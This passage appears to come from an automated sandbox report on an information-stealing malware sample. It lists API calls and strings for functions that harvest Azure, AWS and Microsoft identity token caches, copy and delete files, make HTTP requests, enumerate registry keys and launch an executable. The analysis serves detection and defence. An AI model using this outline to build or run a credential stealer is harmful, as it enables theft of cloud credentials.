Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00405FC7

Strings

------, xrefs: 00405C0B
------, xrefs: 00405A96
", xrefs: 00405E16
", xrefs: 00405CD5
------, xrefs: 00405D4C

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 1406981993-2180234286
Opcode ID: 666bbb9bba4a1dc80c75d8d39e09cf3d748a28728b0d32cd90eb582302fc047f
Instruction ID: 7b5b204680124ce1d4beb717fdfef1c68a0c63715f2d18b0248442adb904f056
Opcode Fuzzy Hash: 666bbb9bba4a1dc80c75d8d39e09cf3d748a28728b0d32cd90eb582302fc047f
Instruction Fuzzy Hash: 20124071821118ABCB15FBA1DC95FEEB378BF14314F50419EB10A62091DF782B9ACF69

Function 00414D70 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414D87

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000), ref: 00414DB0
lstrcatA.KERNEL32(?,\.azure\), ref: 00414DCD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

memset.MSVCRT ref: 00414E13
lstrcatA.KERNEL32(?,00000000), ref: 00414E3C
lstrcatA.KERNEL32(?,\.aws\), ref: 00414E59

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

memset.MSVCRT ref: 00414E9F
lstrcatA.KERNEL32(?,00000000), ref: 00414EC8
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 00414EE5

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,024E90F0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

memset.MSVCRT ref: 00414F2B

Strings

\.aws\, xrefs: 00414E4D
\.IdentityService\, xrefs: 00414ED9
*.*, xrefs: 00414DD8
Azure\.aws, xrefs: 00414E5F
msal.cache, xrefs: 00414EF0
*.*, xrefs: 00414E64
\.azure\, xrefs: 00414DC1
Azure\.azure, xrefs: 00414DD3
zaA, xrefs: 00414DF1, 00414E7D, 00414F09, 00414F34, 00414DF4, 00414E80, 00414F0C
Azure\.IdentityService, xrefs: 00414EEB

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filememset$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache$zaA
API String ID: 4017274736-156832076
Opcode ID: 9c612fc516eee28b221766771ad860b5795089092fef9f7b581a933fd2b7ea00
Instruction ID: 18812f4626155d1e2a42465cb68794f5c6847905bec5d07e7ac1139e0e5490f3
Opcode Fuzzy Hash: 9c612fc516eee28b221766771ad860b5795089092fef9f7b581a933fd2b7ea00
Instruction Fuzzy Hash: 3141D6B9A4031467C710F7B0EC47FDD3738AB64704F404459B645660C2EEB897D98B9A

Function 040AD157 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040B8DC7: GetSystemTime.KERNEL32(00420E1A,0064A2A4,004205AE,?,?,040A1660,?,0000001A,00420E1A,00000000,?,0064A1F0,?,00424FB4,00420E17), ref: 040B8DED

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 040AD1EA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 040AD32E
RtlAllocateHeap.NTDLL(00000000), ref: 040AD335
lstrcat.KERNEL32(?,00000000), ref: 040AD46F
lstrcat.KERNEL32(?,00421478), ref: 040AD47E
lstrcat.KERNEL32(?,00000000), ref: 040AD491
lstrcat.KERNEL32(?,0042147C), ref: 040AD4A0
lstrcat.KERNEL32(?,00000000), ref: 040AD4B3
lstrcat.KERNEL32(?,00421480), ref: 040AD4C2
lstrcat.KERNEL32(?,00000000), ref: 040AD4D5
lstrcat.KERNEL32(?,00421484), ref: 040AD4E4
lstrcat.KERNEL32(?,00000000), ref: 040AD4F7
lstrcat.KERNEL32(?,00421488), ref: 040AD506
lstrcat.KERNEL32(?,00000000), ref: 040AD519
lstrcat.KERNEL32(?,0042148C), ref: 040AD528
lstrcat.KERNEL32(?,00000000), ref: 040AD53B
lstrcat.KERNEL32(?,00421490), ref: 040AD54A

Part of subcall function 040BAA87: lstrlen.KERNEL32(040A516C,?,?,040A516C,00420DDE), ref: 040BAA92
Part of subcall function 040BAA87: lstrcpy.KERNEL32(00420DDE,00000000), ref: 040BAAEC

lstrlen.KERNEL32(?), ref: 040AD591
lstrlen.KERNEL32(?), ref: 040AD5A0
memset.MSVCRT ref: 040AD5EF

Part of subcall function 040BACD7: StrCmpCA.SHLWAPI(0064A350,040AAA0E,?,040AAA0E,0064A350), ref: 040BACF6

DeleteFileA.KERNEL32(00000000), ref: 040AD61B

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 35b3a7c6026b7343794acd9bc88f8a24a43edb670061b4873ce96399e81ec4f6
Instruction ID: e2623fe34ebf5bfa4c91ba85ffe17aa3c8492cb51c60dda321cf3083f005ba64
Opcode Fuzzy Hash: 35b3a7c6026b7343794acd9bc88f8a24a43edb670061b4873ce96399e81ec4f6
Instruction Fuzzy Hash: F5E16C75A50208ABDB08FBE4DD94EEE7379BF14309F504159E146B60A0DF34BA08CFA6

Function 0040CEF0 Relevance: 31.9, APIs: 21, Instructions: 374stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040D0C7
HeapAlloc.KERNEL32(00000000), ref: 0040D0CE
lstrcatA.KERNEL32(?,00000000,024E9330,00421474,024E9330,00421470,00000000), ref: 0040D208
lstrcatA.KERNEL32(?,00421478), ref: 0040D217
lstrcatA.KERNEL32(?,00000000), ref: 0040D22A
lstrcatA.KERNEL32(?,0042147C), ref: 0040D239
lstrcatA.KERNEL32(?,00000000), ref: 0040D24C
lstrcatA.KERNEL32(?,00421480), ref: 0040D25B
lstrcatA.KERNEL32(?,00000000), ref: 0040D26E
lstrcatA.KERNEL32(?,00421484), ref: 0040D27D
lstrcatA.KERNEL32(?,00000000), ref: 0040D290
lstrcatA.KERNEL32(?,00421488), ref: 0040D29F
lstrcatA.KERNEL32(?,00000000), ref: 0040D2B2
lstrcatA.KERNEL32(?,0042148C), ref: 0040D2C1
lstrcatA.KERNEL32(?,00000000), ref: 0040D2D4
lstrcatA.KERNEL32(?,00421490), ref: 0040D2E3

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,024B6258,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

lstrlenA.KERNEL32(?), ref: 0040D32A
lstrlenA.KERNEL32(?), ref: 0040D339
memset.MSVCRT ref: 0040D388

Part of subcall function 0041AA70: StrCmpCA.SHLWAPI(00000000,00421470,0040D1A2,00421470,00000000), ref: 0041AA8F

DeleteFileA.KERNEL32(00000000), ref: 0040D3B4

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocCopyDeleteProcessSystemTimememset
String ID:
API String ID: 2775534915-0
Opcode ID: dd183b9a0ed49ba793ecf7e40d148ba4ed28fb7071b52f16157b1b0084ccc920
Instruction ID: 94f9062ed3f4a6e26da847402fe0a382ec35b8ad99342330bde04fa79d6a5422
Opcode Fuzzy Hash: dd183b9a0ed49ba793ecf7e40d148ba4ed28fb7071b52f16157b1b0084ccc920
Instruction Fuzzy Hash: D2E17D75950108ABCB04FBE1DD96EEE7379BF14304F10405EF107B60A1DE38AA5ACB6A

Function 040A5BC7 Relevance: 29.0, APIs: 19, Instructions: 493networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 040BAA07: lstrcpy.KERNEL32(?,00000000), ref: 040BAA4D

Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A51
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A68
Part of subcall function 040A4A17: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 040A4A7F
Part of subcall function 040A4A17: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 040A4AA0
Part of subcall function 040A4A17: InternetCrackUrlA.WININET(00000000,00000000), ref: 040A4AB0

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 040A5C5F
StrCmpCA.SHLWAPI(?,0064A480), ref: 040A5C7A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 040A5DFA
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00421A20,00000000,?,0064A0F0,00000000,?,0064A2F0,00000000,?,00421A1C), ref: 040A60D8
lstrlen.KERNEL32(00000000), ref: 040A60E9
GetProcessHeap.KERNEL32(00000000,?), ref: 040A60FA
RtlAllocateHeap.NTDLL(00000000), ref: 040A6101
lstrlen.KERNEL32(00000000), ref: 040A6116
memcpy.MSVCRT(?,00000000,00000000), ref: 040A612D
lstrlen.KERNEL32(00000000), ref: 040A613F
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 040A6158
memcpy.MSVCRT(?), ref: 040A6165
lstrlen.KERNEL32(00000000,?,?), ref: 040A6182
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 040A6196
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 040A61B3
InternetCloseHandle.WININET(00000000), ref: 040A6217
InternetCloseHandle.WININET(00000000), ref: 040A6224
HttpOpenRequestA.WININET(00000000,0064A49C,?,0064A2B4,00000000,00000000,00400100,00000000), ref: 040A5E5F

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

InternetCloseHandle.WININET(00000000), ref: 040A622E

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$??2@CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocateConnectCrackFileProcessReadSend
String ID:
API String ID: 1703137719-0
Opcode ID: 953f36d5d89b78922954f70e89b18a367f9e390412a3d758b9e507f35f40a690
Instruction ID: 90d8003b19987e920682b0c2e9eae7ee79c5a2f7525ac9bbfa8060a151296c56
Opcode Fuzzy Hash: 953f36d5d89b78922954f70e89b18a367f9e390412a3d758b9e507f35f40a690
Instruction Fuzzy Hash: A8123F71A20218ABDB15EBA0DD94FEEB379BF14708F504199E14672091EF743B88CF94

Function 040ACBF7 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 040BA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 040BA9EF

Part of subcall function 040BAB87: lstrcpy.KERNEL32(00000000,?), ref: 040BABD9
Part of subcall function 040BAB87: lstrcat.KERNEL32(00000000), ref: 040BABE9

Part of subcall function 040BAB07: lstrcpy.KERNEL32(?,00420E17), ref: 040BAB6C

Part of subcall function 040BAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 040BAC2C
Part of subcall function 040BAC17: lstrcpy.KERNEL32(00000000), ref: 040BAC6B
Part of subcall function 040BAC17: lstrcat.KERNEL32(00000000,00000000), ref: 040BAC79

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0064A63C,00000000,?,0042144C,00000000,?,?), ref: 040ACCD3
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 040ACCF0
GetFileSize.KERNEL32(00000000,00000000), ref: 040ACCFC
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 040ACD0F
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 040ACD1C
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 040ACD40
StrStrA.SHLWAPI(?,0064A1B0,00420B52), ref: 040ACD5E
StrStrA.SHLWAPI(00000000,0064A364), ref: 040ACD85
StrStrA.SHLWAPI(?,0064A4D0,00000000,?,00421458,00000000,?,00000000,00000000,?,0064A15C,00000000,?,00421454,00000000,?), ref: 040ACF09
StrStrA.SHLWAPI(00000000,0064A4CC), ref: 040ACF20

Part of subcall function 040ACA87: memset.MSVCRT ref: 040ACABA
Part of subcall function 040ACA87: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 040ACAD8
Part of subcall function 040ACA87: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 040ACAE3
Part of subcall function 040ACA87: memcpy.MSVCRT(?,?,?), ref: 040ACB79

StrStrA.SHLWAPI(?,0064A4CC,00000000,?,0042145C,00000000,?,00000000,0064A0DC), ref: 040ACFC1
StrStrA.SHLWAPI(00000000,0064A5A8), ref: 040ACFD8

Part of subcall function 040ACA87: lstrcat.KERNEL32(?,00420B46), ref: 040ACBAA
Part of subcall function 040ACA87: lstrcat.KERNEL32(?,00420B47), ref: 040ACBBE
Part of subcall function 040ACA87: lstrcat.KERNEL32(?,00420B4E), ref: 040ACBDF

lstrlen.KERNEL32(00000000), ref: 040AD0AB
CloseHandle.KERNEL32(00000000), ref: 040AD103

Strings

, xrefs: 040ACC2D

Memory Dump Source

Source File: 00000000.00000002.1881130721.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 040A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40a0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: 9842806969cad6799f0f7568e9bc81044bc23dbf52ae901b6399e5f6c005bae5
Instruction ID: 238f985ba5ca777c0ca71609a4cac74fafe4f595f41c25ec3b0effec18902c05
Opcode Fuzzy Hash: 9842806969cad6799f0f7568e9bc81044bc23dbf52ae901b6399e5f6c005bae5
Instruction Fuzzy Hash: A7E12D72A10208ABDB15EBE4DD90EEEB779AF54308F044159F146B3191EF347A89CFA4

Function 0040C990 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,024EB888,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,024EB840,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,024EB870), ref: 0040CB1E
StrStrA.SHLWAPI(?,024EC1B0,00000000,?,00421458,00000000,?,00000000,00000000,?,024E9430,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,024EBFD0), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,024E92A0), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912

StrStrA.SHLWAPI(?,024EBFD0,00000000,?,0042145C,00000000,?,00000000,024E92A0), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,024E9210), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$??2@BinaryCloseCreateCryptHandleReadSizeStringmemcpymemset
String ID:
API String ID: 3555725114-3916222277
Opcode ID: 2438d76627bcbff543709c2f32cd44ca9ae5e95502dd009682462e2c21711f76
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: 2438d76627bcbff543709c2f32cd44ca9ae5e95502dd009682462e2c21711f76
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 00418320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

RegOpenKeyExA.ADVAPI32(00000000,024B7078,00000000,00020019,00000000,004205B6), ref: 004183A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

?, xrefs: 0041837A
- , xrefs: 004185A3
%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 79a2fb80d974ac486e5468537c58b3e2968b3064256187bd92d5254366045701
Instruction ID: f03ee3f6de4a678c4a24becac03c3675d5d4362b87af83515ad79f9b006405b7
Opcode Fuzzy Hash: 79a2fb80d974ac486e5468537c58b3e2968b3064256187bd92d5254366045701
Instruction Fuzzy Hash: B4813E75911118ABEB24DF50CD81FEAB7B9FF08714F008299E109A6180DF756BC6CFA5

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,024B6258,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,024B9798,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004196C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00410B85,?,00000000,?,00000000,004205C6,004205C5), ref: 004196E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000000.00000002.1879542620.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1879542620.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1879542620.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 9d55e63f4d9d76d6cfe6b41b18adec1412689ce4735271c0c32cbc5a68951b40
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 9d55e63f4d9d76d6cfe6b41b18adec1412689ce4735271c0c32cbc5a68951b40
